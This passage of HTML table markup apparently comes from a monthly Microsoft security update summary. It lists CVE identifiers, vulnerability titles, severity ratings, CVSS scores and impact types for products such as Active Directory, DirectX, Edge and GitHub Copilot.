  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
